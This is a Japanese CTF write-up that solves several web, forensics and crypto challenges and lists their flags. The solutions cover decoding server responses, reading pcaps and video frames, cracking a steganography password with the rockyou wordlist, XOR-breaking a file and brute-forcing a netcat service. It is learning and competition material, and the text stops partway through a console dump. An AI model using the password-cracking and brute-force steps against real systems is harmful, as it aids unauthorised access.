Mysterious Broadcast (web)

同じセッションを保ちながら同じURLにアクセスすると、最初は~であとは0, 1でレスポンスがある。試してみると、以下のような順でレスポンスが返ってくる。

~11000110110010110100011010101100100100011110110100110111101000110110001001110110101011000011010

7桁ごとに区切ってデコードしてみる。

>>> chr(int('1100011',2))
'c'
>>> chr(int('0110010',2))
'2'
>>> chr(int('1101000',2))
'h'

base64になるのかもしれない。

>>> import base64
>>> base64.b64encode(b'shc')
b'c2hj'

フラグの先頭を試しにbase64エンコードすると、合っている。この前提でコードを取得し、デコードしてフラグを取得する。

#!/usr/bin/env python3
import requests
import base64

def get_redirect_url(s, url):
    r = s.head(url, allow_redirects=False)
    if 'Location' in r.headers:
        return r.headers['Location']
    return None

def bin_to_b64decode(s):
    b64 = b''
    for i in range(0, len(s), 7):
        b64 += bytes([int(s[i:i+7], 2)])
    return base64.b64decode(b64).decode()

url = 'http://173.230.134.127'

s = requests.Session()
url = url + get_redirect_url(s, url)

b = ''
init = True
while True:
    r = s.get(url)
    body = r.text
    if init:
        init = False
        continue
    b += body
    if len(b) % 28 == 0:
        flag = bin_to_b64decode(b)
        if '}' in flag:
            break

print(flag)
shctf{AsciiIsA7BitStandard}

Star Pcap (forensics)

ICMPのパケットのCodeの文字を並べてみる。

c2hjdGZ7TDBnMWMtaSQtdGgzLWJlZ2lOTmluZy0wZi13aSRkb019

base64文字列のようなので、デコードする。

$ echo c2hjdGZ7TDBnMWMtaSQtdGgzLWJlZ2lOTmluZy0wZi13aSRkb019 | base64 -d
shctf{L0g1c-i$-th3-begiNNing-0f-wi$doM}
shctf{L0g1c-i$-th3-begiNNing-0f-wi$doM}

Future Stego (forensics)

$ stegcracker shuttlesteg.jpg dict/rockyou.txt
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2022 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which 
will blast through the rockyou.txt wordlist within 1.9 second as opposed 
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

Counting lines in wordlist..
Attacking file 'shuttlesteg.jpg' with wordlist 'dict/rockyou.txt'..
Successfully cracked file with password: sallyride79lcold
Tried 4040777 passwords
Your file has been written to: shuttlesteg.jpg.out
sallyride
$ cat shuttlesteg.jpg.out
shctf{weightlessness_is_a_great_equalizer}
shctf{weightlessness_is_a_great_equalizer}

Netflix and CTF (forensics)

httpでフィルタリングすると、途中から以下のようなパスに順にPOSTしていることがわかる。

POST /keypress/Lit_s HTTP/1.1
POST /keypress/Lit_h HTTP/1.1
POST /keypress/Lit_c HTTP/1.1
POST /keypress/Lit_t HTTP/1.1
POST /keypress/Lit_f HTTP/1.1
POST /keypress/Lit_%7B HTTP/1.1
POST /keypress/Lit_T HTTP/1.1
         :

パスの最後の文字を順に並べる。

shctf{T1m3-is-th3-ultimat3-curr3Ncy}

Space Captain Garfield (forensics)

絵文字をASCII文字に置き換える。

abc defg:2254. heifejk
celmjgad nekdglo
fplbqcpf pg ceaers

ogelhpjkc mbl kgn
ekd ngjld ajmg
mblto

ophfm{aeoeckeabugl}

opblf
flji

quipqiup で復号する。

log date:2254. captain
garfield wanders
throught he galaxy

searching for new 
and weird life
forms

shctf{lasagnalover}

short trip
shctf{lasagnalover}

Buzz's Secret Watch (Part 1) (forensics)

aviファイルの各フレームを静止画として切り出す。

#!/usr/bin/env python3
import cv2

video_path = 'buzzsaw.avi'
cap = cv2.VideoCapture(video_path)

num = 0
while(cap.isOpened()):
    ret, frame = cap.read()
    if ret == True:
        cv2.imwrite('div/picture{:0=3}'.format(num) + '.jpg', frame)
        num += 1
    else:
        break

cap.release()

赤の全点灯の後に緑で8bitの点灯をすることを繰り返している。
緑が点灯している様子を書き並べてみる。

01110011
01101000
01100011
01110100
01100110
01111011
01010011
01101000
00110011
01110010
00110001
01100110
01100110
00101101
01110100
01001000
00110001
01110011
00101101
01101001
01110011
00101101
01101110
00110000
00101101
01110100
00110001
01101101
00110011
00101101
01110100
00110000
00101101
01110000
01000001
01101110
00110001
01100011
01111101

これをASCIIコードの2進数表記として、デコードする。

#!/usr/bin/env python3
codes = ['01110011', '01101000', '01100011', '01110100', '01100110',
    '01111011', '01010011', '01101000', '00110011', '01110010', '00110001',
    '01100110', '01100110', '00101101', '01110100', '01001000', '00110001',
    '01110011', '00101101', '01101001', '01110011', '00101101', '01101110',
    '00110000', '00101101', '01110100', '00110001', '01101101', '00110011',
    '00101101', '01110100', '00110000', '00101101', '01110000', '01000001',
    '01101110', '00110001', '01100011', '01111101']

flag = ''
for code in codes:
    flag += chr(int(code, 2))
print(flag)
shctf{Sh3r1ff-tH1s-is-n0-t1m3-t0-pAn1c}

The Legend of the Chozo (forensics)

PNGシグネチャとIHDRチャンクが壊れているので、修復する。

50 47 89 0a 4e 0d 0a 1a -> 89 50 4e 47 0d 0a 1a 0a
0d 48 44 00 52 00 00 49 -> 00 00 00 0d 49 48 44 52

修復した画像にフラグが書いてあった。
f:id:satou-y:20220406075023p:plain

shctf{CH0Z0_rU1N5}

Interstellar Mystery (forensics)

$ qemu-img convert -f qcow2 -O raw master0-3.qcow2 master0-3.raw
$ qemu-img convert -f qcow2 -O raw master0-4.qcow2 master0-4.raw
$ file master0-3.raw 
master0-3.raw: BTRFS Filesystem label "data", sectorsize 4096, nodesize 16384, leafsize 16384, UUID=b75e5885-fe97-4e84-aa7f-9373ee09d6bf, 103305216/429498368 bytes used, 2 devices
$ file master0-4.raw 
master0-4.raw: BTRFS Filesystem label "data", sectorsize 4096, nodesize 16384, leafsize 16384, UUID=b75e5885-fe97-4e84-aa7f-9373ee09d6bf, 103305216/429498368 bytes used, 2 devices
$ sudo losetup -f master0-3.raw
$ sudo losetup -f master0-4.raw
$ sudo btrfs filesystem show
Label: 'data'  uuid: b75e5885-fe97-4e84-aa7f-9373ee09d6bf
	Total devices 2 FS bytes used 98.52MiB
	devid    1 size 204.80MiB used 136.00MiB path /dev/loop8
	devid    2 size 204.80MiB used 136.00MiB path /dev/loop22
$ sudo mount -o degraded /dev/loop8 /mnt/tmp
$ cd /mnt/tmp
$ ls
e
$ strings e | grep shctf
shctf{btrfs_is_awsome}e8h
shctf{btrfs_is_awsome}

Buzz's Secret Watch (Part 2) (forensics)

aviファイルの各フレームを静止画として切り出す。

#!/usr/bin/env python3
import cv2

video_path = 'buzz-bin.avi'
cap = cv2.VideoCapture(video_path)

num = 0
while(cap.isOpened()):
    ret, frame = cap.read()
    if ret == True:
        cv2.imwrite('div/picture{:0=5}'.format(num) + '.jpg', frame)
        num += 1
    else:
        break

cap.release()

赤の全点灯の後に緑で8bitの点灯をすることを繰り返している。ASCIIコードの2進数表記として、デコードしたいが、今回は32464個のフレームがあるので、スクリプトでデコードし抽出する。

#!/usr/bin/env python3
from PIL import Image

def get_byte(fname):
    img = Image.open(fname).convert('RGB')
    y = 695
    code = ''
    for i in range(8):
        x = 355 + 35 * i
        _, g, _ = img.getpixel((x, y))
        if g <= 1:
            code += '0'
        else:
            code += '1'
    img.close()
    return bytes([int(code, 2)])

msg = b''
for i in range(1, 32465, 2):
    fname = 'div/picture%05d.jpg' % i
    msg += get_byte(fname)

with open('flag.bin', 'wb') as f:
    f.write(msg)
$ file flag.bin
flag.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cb02752fbe4468db2532c39772bc4e3864a3eaa3, for GNU/Linux 3.2.0, not stripped
$ ./flag.bin
shctf{Th1s-Isnt-Fly1ng-THis-Is-FAlliNg-W1th-Styl3}
shctf{Th1s-Isnt-Fly1ng-THis-Is-FAlliNg-W1th-Styl3}

Khaaaaaan! (crypto)

いくつか暗号が混ざっている。

1行目の最初の方は「Alien Language」
https://www.dcode.fr/alien-language
→shctfwithoutfreedom

1行目の後の方は「Halo Covenant Language」
https://www.dcode.fr/covenant-halo-language
→ofchoice

2行目の最初の方は「The Klingon language」
https://methodshop.com/klingon-language-phrases/
→thereis

2行目の後の方は1行目とは別の「Alien Language」
https://theinfosphere.org/Alien_languages
→nocreativity
shctf{without_freedom_of_choice_there_is_no_creativity}

Off The Grid (crypto)

Playfair暗号の要領で復号する。

UI -> th
KO -> eP
TH -> Ro
NV -> ph
GE -> ec
LB -> Yh
KC -> As
RN -> sp
PD -> oK
DN -> en
thePRophecYhAsspoKen
shctf{THE_PROPHECY_HAS_SPOKEN}

Buzz Ransomware (crypto)

https://wiremask.eu/tools/xor-cracker/でXORのクラックをする。

鍵evilzurgで復号できた。復号したファイルをbuzzにリネームする。

$ file buzz
buzz: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), too many program (3328)
$ strings buzz | grep shctf
shctf{Th1s-Isnt-Fly1ng-THis-Is-FAlliNg-W1th-Styl3}
shctf{Th1s-Isnt-Fly1ng-THis-Is-FAlliNg-W1th-Styl3}

Mobile Infantry (crypto)

$ nc 0.cloud.chals.io 27602
                                                                                                                        
                                                        #######                                                         
                                               ####&&&&&&&@&&&&&&&####                                                  
                                        ###&&&&&&@@@&&&&@@@@@@@@@@@@@@@&&&##                                            
                                    #&&@@@&&@@@@@@@@@@@@@@@@@@@@$$$$$$$$$$$$@@&##                                       
                                #&@@@@@$$$$@$$$$$@@@@@@@&&&&&&&@@@@$$$$$$$$$$$$$$@@&#                                   
                             #&@@@$$$@$$$$$$$@@&##   BBBBBBBBBBBB    #&&@@$$$$$$$$%$$@&#                                
                          #&@@@@@$$$$@$@@&#  BBBBBBBBBBBBBBBBBBBBBBBBBBBBB ##&@@$$$$$$$$$@#                             
                        #@@@@@$$$$$$@&# BBBBBBBBBB                       BBBBBB #&@@$$$$$$$@&                           
                      #@@@@$$$$$$@&# BBBBBBB                                   BBB  &@@$$$$%$$@#                        
                    #@$$$$$$$$$@# BBBBBB                                           BBB &@$$$%%%$@#                      
                  #@$$$$$$$$@& BBBBBB                                                 BB #@$%%%%%%@#                    
                #@$$$%%%%%$& BBBBB                 #@&&&&&&&&&&&&&#                      BB#@%%%%%%$@#                  
               &$%$%%%%%$& BBBBB                   &$@$$$$%$$%%$$$&                        B #@%%%%%$$&                 
              @%%%%%%%%@ BBBB                @@&&&&$%%%%%%%%%%%%%%@ BB                         &$%%$$$$@#B              
            #$%$%%%%%$&BBBBB                @%@$$$$$%%%%%%%$%%%%%%$#BB                          #@$$$$$$$#              
           #$$$%%%%%@#BBBB                  %$$%%%%%%%%%%%%%%%%%%%$&BB                            &$%%$$$$@             
          #$$$$%%%$& BBB                   @%$%%%%%%%%%%%%%%%%%%%%%&BB                             #$%%%%%%@ B          
         #$$$$$$%$&BBBB                    $@$$%%%%%%%%%%%%%%%%%%%%@ B                              #@%%%%%%@ B         
        #$%%%%%%$#BBBB                            #$%%%%%%%%%%%%%%$@ B                               #@$$%%%%@ B        
       #$%%%%%%$#BBB                          BBBB&%%%*%%%%%%%%%%$$$#BB                               #@$$%%%%@ B       
       $%%%**%%#BBB   #&##                        @$%%*%%%%%%%%%%%$$#BB                   ####&#       #@$%$%%%&        
      &%%****%@BBBB   %$@$@@@&&&&####             @$%%%%%%%%%%%%%%$$&BBB      #####&&&&@@@@$$$$$#       &$$%%%*%#B      
     #%%%%%*%$ BBB   @*$%%%%%%%%%%%$$@@@&&&###    @%%**%%%%%%%%%%%$$@ ##&&&@@@@@$$$$%%%%%%%%%%%%$#B     #@$%****$ B     
     @%%*%%%%&BBB   #%$%%%****************%%$$$$@@%%%***%*%%%%%%%%%%$$$$$$$$%$%%%%%%********%%%%%@ B     &$%****%&BB    
    #%%***%%$ BB    $%$%%*****************************************%%%%%%%%%%%%%%***%*************%&B      @%%****$ B    
    @%%***%%&BBB   &$$%******************%%%%%%********************%**********%******************%$ B     &$%***%%#BB   
    $%*****$ BB       #@%*******%%**%%%%**%%%%%%%*********%********%%******%**********%**%%%%%%$&# BB     #$$*****@ B   
   #%%****%@BBB       BB #$***********%%**%%%*%*********************%**************%**%%*%%%$# BBBBB       @$*****$ B   
   &%%****%#BB            $%%*****%*%**%***%%**************************************%*******%@BBBBB         &$%****%#BB  
   @%*****%#BB            $%%%**%@ ##&@%%%%%*************************%***********$@###%*****@BBB           &$%*****&BB  
   $%*****$ BB            %$%%%*$ BBBB&%%%%%**%*********************************@BBBBB@%****@BB            #%%*****@BB  
   %%*!*!*$ BB            %$%%%%&BBB  @$%%***@  #&@$***************%$&&&#&%*****@BBB  #$****@BB            #%%*****@ B  
   %%*!!!*$ BB            %%%%%$ BB   @$%***$#BBBBB&%**************$ BBBB $%****&BB    @%***@BB            #%%*****@ B  
   $%*!!!!$ BB            %%%%%&BB    $$%**%&BBB   &$%*************&BBBB  #$%***&BB    #$**%@BB            #%%*****@BB  
   &%*!!!!%#BB            # ##& BB    $%%**$ BB    #$%************%#BB     &$%*%&BB     &##  BB            &%%*****&BB  
   #$*!!!!*&BB              BBBBB     &@$%$#BB     #$%************$ BB      @$$@#BB      BBBBB             @%%*!!*%#BB  
   #$*!!!!*@ B                         B   BBB      @%*!**********$ BB      #  BBB                         %%%****$ BB  
    @%!!!!*%#B                           BBB        @%*!**********&BB          BB                         &*%***!*@ BB  
    &%*!!!!*@BB                                     &%*!**********&BB                                     $*%**!!%&BB   
     $*!!!!*%#B                                     #$**!!**!!!!*%#BB                                    #*%*****$ BB   
     &%*!!!!*@ B                                     $*!****!!!**$ BB                                    %*%****%&BBB   
      $**!**!%#B                                     @%!!********@BBB                                   @*%*****% BB    
      #%****!*$ B                                    &%*!*******%&BB                                   &%%*****%&BBB    
       &%***!!*@ B                                   &$*********%#BB                                  #%%*!****@BBB     
        &%*!!!!*& B                                  #$%********$ BB                                 #$%**!!!*@ BB      
         &%!!!!!*&                                    $%********@ BB                                #%%**!!!*@ BBB      
          &%!!!!!*@                                   $%%*******@BB                                &%%%*!!!*@ BBB       
           &%*!!!!*$#                              #&$%*********%& B                              @*%%***!*@ BBB        
            &%*!!!!*%&                            #$%*%********!!!%@                            #$*$%%****@ BBB         
             #$******%@#                          #$%***********!!*%#B                         @%%%%%%**%@ BBB          
              #@%******$&                          &@%*********!!*$& B                       &%%$%%%%**$#BBBB           
                &$*******$#                           &$*******%& BBBB                     &%*%%%****%@ BBB             
                  @%*******$#                         B@**!!!**@BBBB                     &$*%*******$#BBBB              
                   #@%*****!*$&#                       &@@$$$@@#BBB                   #@$%%*******%& BBB                
                     #@%***!!!*%@&#                      BBBBBBBBB                 #&$%%%******%%& BBBB                 
                        @%*!***!**$@&##                                        #&@$%%%*******%$# BBBB                   
                        B &$*!*!*****%$@&##                                #&@$$%%%%*******%@#BBBBB                     
                          B #@%**!***!***%$@@&&####                ###&@@$$%%%%%%%****!*%$& BBBBB                       
                            BB #@%***!********%$$$$@@@@@@@@@@@@@@$$$$%%%%%%%%********%$& BBBBB                          
                               BB #&@%***************%%%%%%%%%%%%%%%*************%$@# BBBBBB                            
                                  BBB #&@$%*********************************%%$&# BBBBBBB                               
                                      BBB  ##&@$$%%****************%%%%$$@&#  BBBBBBB                                   
                                          BBBBBB   ###&&&&&@@@&&&###   BBBBBBBBBB                                       
                                                BBBBBBBBBBBBBBBBBBBBBBBBBB                                              
                                                                                                                        

Welcome to Ricos Roughnecks. We use 1-time-pads to keep all our secrets safe from the Arachnids.
Here in the mobile infantry, we also implement some stronger roughneck checks.

Enter pad > 1

[!]- Failed pad strength validation. Please use a stronger pad to keep the mobile infantry safe.

------------------------------------------
def len_check(pad):
    if len(pad) != 38:
        return False
    return True

------------------------------------------

全体で38バイトである必要がある。

$ nc 0.cloud.chals.io 27602
                                                                                                                        
        :

Enter pad > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[!]- Failed pad strength validation. Please use a stronger pad to keep the mobile infantry safe.

------------------------------------------
def check1(pad):
    for i in range(0, int(len(pad)/2)+1):
        if not pad[i].isupper():
            return False
    return True

------------------------------------------

$ nc 0.cloud.chals.io 27602
                                                                                                                        
        :

Enter pad > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[!]- Failed pad strength validation. Please use a stronger pad to keep the mobile infantry safe.

------------------------------------------
def check2(pad):
    for i in range(int(len(pad)/2)+1, len(pad)):
        if not pad[i].islower():
            return False
    return True

------------------------------------------

前半20バイトが大文字、後半18バイトが小文字である必要がある。

$ nc 0.cloud.chals.io 27602
                                                                                                                        
        :

Enter pad > AAAAAAAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaaa

[!]- Failed pad strength validation. Please use a stronger pad to keep the mobile infantry safe.

------------------------------------------
def check3(pad):
    for i in range(0, int(len(pad)/2)):
        if ord(pad[i]) != ord(pad[i+1])-1:
            return False
    return True

------------------------------------------

前半20バイトはASCIIコードで1ずつ増加していく必要がある。

$ nc 0.cloud.chals.io 27602
                                                                                                                        
        :

Enter pad > ABCDEFGHIJKLMNOPQRSTaaaaaaaaaaaaaaaaaa

[!]- Failed pad strength validation. Please use a stronger pad to keep the mobile infantry safe.

------------------------------------------
def check4(pad):
    for i in range(int(len(pad)/2)+1, len(pad)-1):
        if ord(pad[i]) != ord(pad[i+1])+1:
            return False
    return True

------------------------------------------

後半18バイトはASCIIコードで1ずつ減少していく必要がある。

$ nc 0.cloud.chals.io 27602
                                                                                                                        
                                                        #######                                                         
                                               ####&&&&&&&@&&&&&&&####                                                  
                                        ###&&&&&&@@@&&&&@@@@@@@@@@@@@@@&&&##                                            
                                    #&&@@@&&@@@@@@@@@@@@@@@@@@@@$$$$$$$$$$$$@@&##                                       
                                #&@@@@@$$$$@$$$$$@@@@@@@&&&&&&&@@@@$$$$$$$$$$$$$$@@&#                                   
                             #&@@@$$$@$$$$$$$@@&##   BBBBBBBBBBBB    #&&@@$$$$$$$$%$$@&#                                
                          #&@@@@@$$$$@$@@&#  BBBBBBBBBBBBBBBBBBBBBBBBBBBBB ##&@@$$$$$$$$$@#                             
                        #@@@@@$$$$$$@&# BBBBBBBBBB                       BBBBBB #&@@$$$$$$$@&                           
                      #@@@@$$$$$$@&# BBBBBBB                                   BBB  &@@$$$$%$$@#                        
                    #@$$$$$$$$$@# BBBBBB                                           BBB &@$$$%%%$@#                      
                  #@$$$$$$$$@& BBBBBB                                                 BB #@$%%%%%%@#                    
                #@$$$%%%%%$& BBBBB                 #@&&&&&&&&&&&&&#                      BB#@%%%%%%$@#                  
               &$%$%%%%%$& BBBBB                   &$@$$$$%$$%%$$$&                        B #@%%%%%$$&                 
              @%%%%%%%%@ BBBB                @@&&&&$%%%%%%%%%%%%%%@ BB                         &$%%$$$$@#B              
            #$%$%%%%%$&BBBBB                @%@$$$$$%%%%%%%$%%%%%%$#BB                          #@$$$$$$$#              
           #$$$%%%%%@#BBBB                  %$$%%%%%%%%%%%%%%%%%%%$&BB                            &$%%$$$$@             
          #$$$$%%%$& BBB                   @%$%%%%%%%%%%%%%%%%%%%%%&BB                             #$%%%%%%@ B          
         #$$$$$$%$&BBBB                    $@$$%%%%%%%%%%%%%%%%%%%%@ B                              #@%%%%%%@ B         
        #$%%%%%%$#BBBB                            #$%%%%%%%%%%%%%%$@ B                               #@$$%%%%@ B        
       #$%%%%%%$#BBB                          BBBB&%%%*%%%%%%%%%%$$$#BB                               #@$$%%%%@ B       
       $%%%**%%#BBB   #&##                        @$%%*%%%%%%%%%%%$$#BB                   ####&#       #@$%$%%%&        
      &%%****%@BBBB   %$@$@@@&&&&####             @$%%%%%%%%%%%%%%$$&BBB      #####&&&&@@@@$$$$$#       &$$%%%*%#B      
     #%%%%%*%$ BBB   @*$%%%%%%%%%%%$$@@@&&&###    @%%**%%%%%%%%%%%$$@ ##&&&@@@@@$$$$%%%%%%%%%%%%$#B     #@$%****$ B     
     @%%*%%%%&BBB   #%$%%%****************%%$$$$@@%%%***%*%%%%%%%%%%$$$$$$$$%$%%%%%%********%%%%%@ B     &$%****%&BB    
    #%%***%%$ BB    $%$%%*****************************************%%%%%%%%%%%%%%***%*************%&B      @%%****$ B    
    @%%***%%&BBB   &$$%******************%%%%%%********************%**********%******************%$ B     &$%***%%#BB   
    $%*****$ BB       #@%*******%%**%%%%**%%%%%%%*********%********%%******%**********%**%%%%%%$&# BB     #$$*****@ B   
   #%%****%@BBB       BB #$***********%%**%%%*%*********************%**************%**%%*%%%$# BBBBB       @$*****$ B   
   &%%****%#BB            $%%*****%*%**%***%%**************************************%*******%@BBBBB         &$%****%#BB  
   @%*****%#BB            $%%%**%@ ##&@%%%%%*************************%***********$@###%*****@BBB           &$%*****&BB  
   $%*****$ BB            %$%%%*$ BBBB&%%%%%**%*********************************@BBBBB@%****@BB            #%%*****@BB  
   %%*!*!*$ BB            %$%%%%&BBB  @$%%***@  #&@$***************%$&&&#&%*****@BBB  #$****@BB            #%%*****@ B  
   %%*!!!*$ BB            %%%%%$ BB   @$%***$#BBBBB&%**************$ BBBB $%****&BB    @%***@BB            #%%*****@ B  
   $%*!!!!$ BB            %%%%%&BB    $$%**%&BBB   &$%*************&BBBB  #$%***&BB    #$**%@BB            #%%*****@BB  
   &%*!!!!%#BB            # ##& BB    $%%**$ BB    #$%************%#BB     &$%*%&BB     &##  BB            &%%*****&BB  
   #$*!!!!*&BB              BBBBB     &@$%$#BB     #$%************$ BB      @$$@#BB      BBBBB             @%%*!!*%#BB  
   #$*!!!!*@ B                         B   BBB      @%*!**********$ BB      #  BBB                         %%%****$ BB  
    @%!!!!*%#B                           BBB        @%*!**********&BB          BB                         &*%***!*@ BB  
    &%*!!!!*@BB                                     &%*!**********&BB                                     $*%**!!%&BB   
     $*!!!!*%#B                                     #$**!!**!!!!*%#BB                                    #*%*****$ BB   
     &%*!!!!*@ B                                     $*!****!!!**$ BB                                    %*%****%&BBB   
      $**!**!%#B                                     @%!!********@BBB                                   @*%*****% BB    
      #%****!*$ B                                    &%*!*******%&BB                                   &%%*****%&BBB    
       &%***!!*@ B                                   &$*********%#BB                                  #%%*!****@BBB     
        &%*!!!!*& B                                  #$%********$ BB                                 #$%**!!!*@ BB      
         &%!!!!!*&                                    $%********@ BB                                #%%**!!!*@ BBB      
          &%!!!!!*@                                   $%%*******@BB                                &%%%*!!!*@ BBB       
           &%*!!!!*$#                              #&$%*********%& B                              @*%%***!*@ BBB        
            &%*!!!!*%&                            #$%*%********!!!%@                            #$*$%%****@ BBB         
             #$******%@#                          #$%***********!!*%#B                         @%%%%%%**%@ BBB          
              #@%******$&                          &@%*********!!*$& B                       &%%$%%%%**$#BBBB           
                &$*******$#                           &$*******%& BBBB                     &%*%%%****%@ BBB             
                  @%*******$#                         B@**!!!**@BBBB                     &$*%*******$#BBBB              
                   #@%*****!*$&#                       &@@$$$@@#BBB                   #@$%%*******%& BBB                
                     #@%***!!!*%@&#                      BBBBBBBBB                 #&$%%%******%%& BBBB                 
                        @%*!***!**$@&##                                        #&@$%%%*******%$# BBBB                   
                        B &$*!*!*****%$@&##                                #&@$$%%%%*******%@#BBBBB                     
                          B #@%**!***!***%$@@&&####                ###&@@$$%%%%%%%****!*%$& BBBBB                       
                            BB #@%***!********%$$$$@@@@@@@@@@@@@@$$$$%%%%%%%%********%$& BBBBB                          
                               BB #&@%***************%%%%%%%%%%%%%%%*************%$@# BBBBBB                            
                                  BBB #&@$%*********************************%%$&# BBBBBBB                               
                                      BBB  ##&@$$%%****************%%%%$$@&#  BBBBBBB                                   
                                          BBBBBB   ###&&&&&@@@&&&###   BBBBBBBBBB                                       
                                                BBBBBBBBBBBBBBBBBBBBBBBBBB                                              
                                                                                                                        

Welcome to Ricos Roughnecks. We use 1-time-pads to keep all our secrets safe from the Arachnids.
Here in the mobile infantry, we also implement some stronger roughneck checks.

Enter pad > ABCDEFGHIJKLMNOPQRSTrqponmlkjihgfedcba
[+] Welcome the mobile infantry, keep fighting.

条件を満たすが、目的のものではなかったようだ。以上の条件を満たすものをブルートフォースで探す。

#!/usr/bin/env python3
import socket
import string

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

found = False
for i in range(7):
    for j in range(9):
        pad = string.ascii_uppercase[i:i+20]
        pad += string.ascii_lowercase[j:j+18][::-1]

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('0.cloud.chals.io', 27602))

        data = recvuntil(s, b'> ')
        print(data + pad)
        s.sendall(pad.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if data != '[+] Welcome the mobile infantry, keep fighting.':
            found = True
            break
    if found:
        break

実行結果は以下の通り。

        :
                                                        #######                 
                                               ####&&&&&&&@&&&&&&&####          
                                        ###&&&&&&@@@&&&&@@@@@@@@@@@@@@@&&&##    
                                    #&&@@@&&@@@@@@@@@@@@@@@@@@@@$$$$$$$$$$$$@@&##
                                #&@@@@@$$$$@$$$$$@@@@@@@&&&&&&&@@@@$$$$$$$$$$$$$$@@&#
                             #&@@@$$$@$$$$$$$@@&##   BBBBBBBBBBBB    #&&@@$$$$$$$$%$$@&#
                          #&@@@@@$$$$@$@@&#  BBBBBBBBBBBBBBBBBBBBBBBBBBBBB ##&@@$$$$$$$$$@#
                        #@@@@@$$$$$$@&# BBBBBBBBBB                       BBBBBB #&@@$$$$$$$@&
                      #@@@@$$$$$$@&# BBBBBBB                                   BBB  &@@$$$$%$$@#
                    #@$$$$$$$$$@# BBBBBB                                           BBB &@$$$%%%$@#
                  #@$$$$$$$$@& BBBBBB                                                 BB #@$%%%%%%@#
                #@$$$%%%%%$& BBBBB                 #@&&&&&&&&&&&&&#                      BB#@%%%%%%$@#
               &$%$%%%%%$& BBBBB                   &$@$$$$%$$%%$$$&                        B #@%%%%%$$&
              @%%%%%%%%@ BBBB                @@&&&&$%%%%%%%%%%%%%%@ BB                         &$%%$$$$@#B
            #$%$%%%%%$&BBBBB                @%@$$$$$%%%%%%%$%%%%%%$#BB                          #@$$$$$$$#
           #$$$%%%%%@#BBBB                  %$$%%%%%%%%%%%%%%%%%%%$&BB                            &$%%$$$$@
          #$$$$%%%$& BBB                   @%$%%%%%%%%%%%%%%%%%%%%%&BB                             #$%%%%%%@ B
         #$$$$$$%$&BBBB                    $@$$%%%%%%%%%%%%%%%%%%%%@ B                              #@%%%%%%@ B
        #$%%%%%%$#BBBB                            #$%%%%%%%%%%%%%%$@ B                               #@$$%%%%@ B
       #$%%%%%%$#BBB                          BBBB&%%%*%%%%%%%%%%$$$#BB                               #@$$%%%%@ B
       $%%%**%%#BBB   #&##                        @$%%*%%%%%%%%%%%$$#BB                   ####&#       #@$%$%%%&
      &%%****%@BBBB   %$@$@@@&&&&####             @$%%%%%%%%%%%%%%$$&BBB      #####&&&&@@@@$$$$$#       &$$%%%*%#B
     #%%%%%*%$ BBB   @*$%%%%%%%%%%%$$@@@&&&###    @%%**%%%%%%%%%%%$$@ ##&&&@@@@@$$$$%%%%%%%%%%%%$#B     #@$%****$ B
     @%%*%%%%&BBB   #%$%%%****************%%$$$$@@%%%***%*%%%%%%%%%%$$$$$$$$%$%%%%%%********%%%%%@ B     &$%****%&BB
    #%%***%%$ BB    $%$%%*****************************************%%%%%%%%%%%%%%***%*************%&B      @%%****$ B
    @%%***%%&BBB   &$$%******************%%%%%%********************%**********%******************%$ B     &$%***%%#BB
    $%*****$ BB       #@%*******%%**%%%%**%%%%%%%*********%********%%******%**********%**%%%%%%$&# BB     #$$*****@ B
   #%%****%@BBB       BB #$***********%%**%%%*%*********************%**************%**%%*%%%$# BBBBB       @$*****$ B
   &%%****%#BB            $%%*****%*%**%***%%**************************************%*******%@BBBBB         &$%****%#BB
   @%*****%#BB            $%%%**%@ ##&@%%%%%*************************%***********$@###%*****@BBB           &$%*****&BB
   $%*****$ BB            %$%%%*$ BBBB&%%%%%**%*********************************@BBBBB@%****@BB            #%%*****@BB
   %%*!*!*$ BB            %$%%%%&BBB  @$%%***@  #&@$***************%$&&&#&%*****@BBB  #$****@BB            #%%*****@ B
   %%*!!!*$ BB            %%%%%$ BB   @$%***$#BBBBB&%**************$ BBBB $%****&BB    @%***@BB            #%%*****@ B
   $%*!!!!$ BB            %%%%%&BB    $$%**%&BBB   &$%*************&BBBB  #$%***&BB    #$**%@BB            #%%*****@BB
   &%*!!!!%#BB            # ##& BB    $%%**$ BB    #$%************%#BB     &$%*%&BB     &##  BB            &%%*****&BB
   #$*!!!!*&BB              BBBBB     &@$%$#BB     #$%************$ BB      @$$@#BB      BBBBB             @%%*!!*%#BB
   #$*!!!!*@ B                         B   BBB      @%*!**********$ BB      #  BBB                         %%%****$ BB
    @%!!!!*%#B                           BBB        @%*!**********&BB          BB                         &*%***!*@ BB
    &%*!!!!*@BB                                     &%*!**********&BB                                     $*%**!!%&BB
     $*!!!!*%#B                                     #$**!!**!!!!*%#BB                                    #*%*****$ BB
     &%*!!!!*@ B                                     $*!****!!!**$ BB                                    %*%****%&BBB
      $**!**!%#B                                     @%!!********@BBB                                   @*%*****% BB
      #%****!*$ B                                    &%*!*******%&BB                                   &%%*****%&BBB
       &%***!!*@ B                                   &$*********%#BB                                  #%%*!****@BBB
        &%*!!!!*& B                                  #$%********$ BB                                 #$%**!!!*@ BB
         &%!!!!!*&                                    $%********@ BB                                #%%**!!!*@ BBB
          &%!!!!!*@                                   $%%*******@BB                                &%%%*!!!*@ BBB
           &%*!!!!*$#                              #&$%*********%& B                              @*%%***!*@ BBB
            &%*!!!!*%&                            #$%*%********!!!%@                            #$*$%%****@ BBB
             #$******%@#                          #$%***********!!*%#B                         @%%%%%%**%@ BBB
              #@%******$&                          &@%*********!!*$& B                       &%%$%%%%**$#BBBB
                &$*******$#                           &$*******%& BBBB                     &%*%%%****%@ BBB
                  @%*******$#                         B@**!!!**@BBBB                     &$*%*******$#BBBB
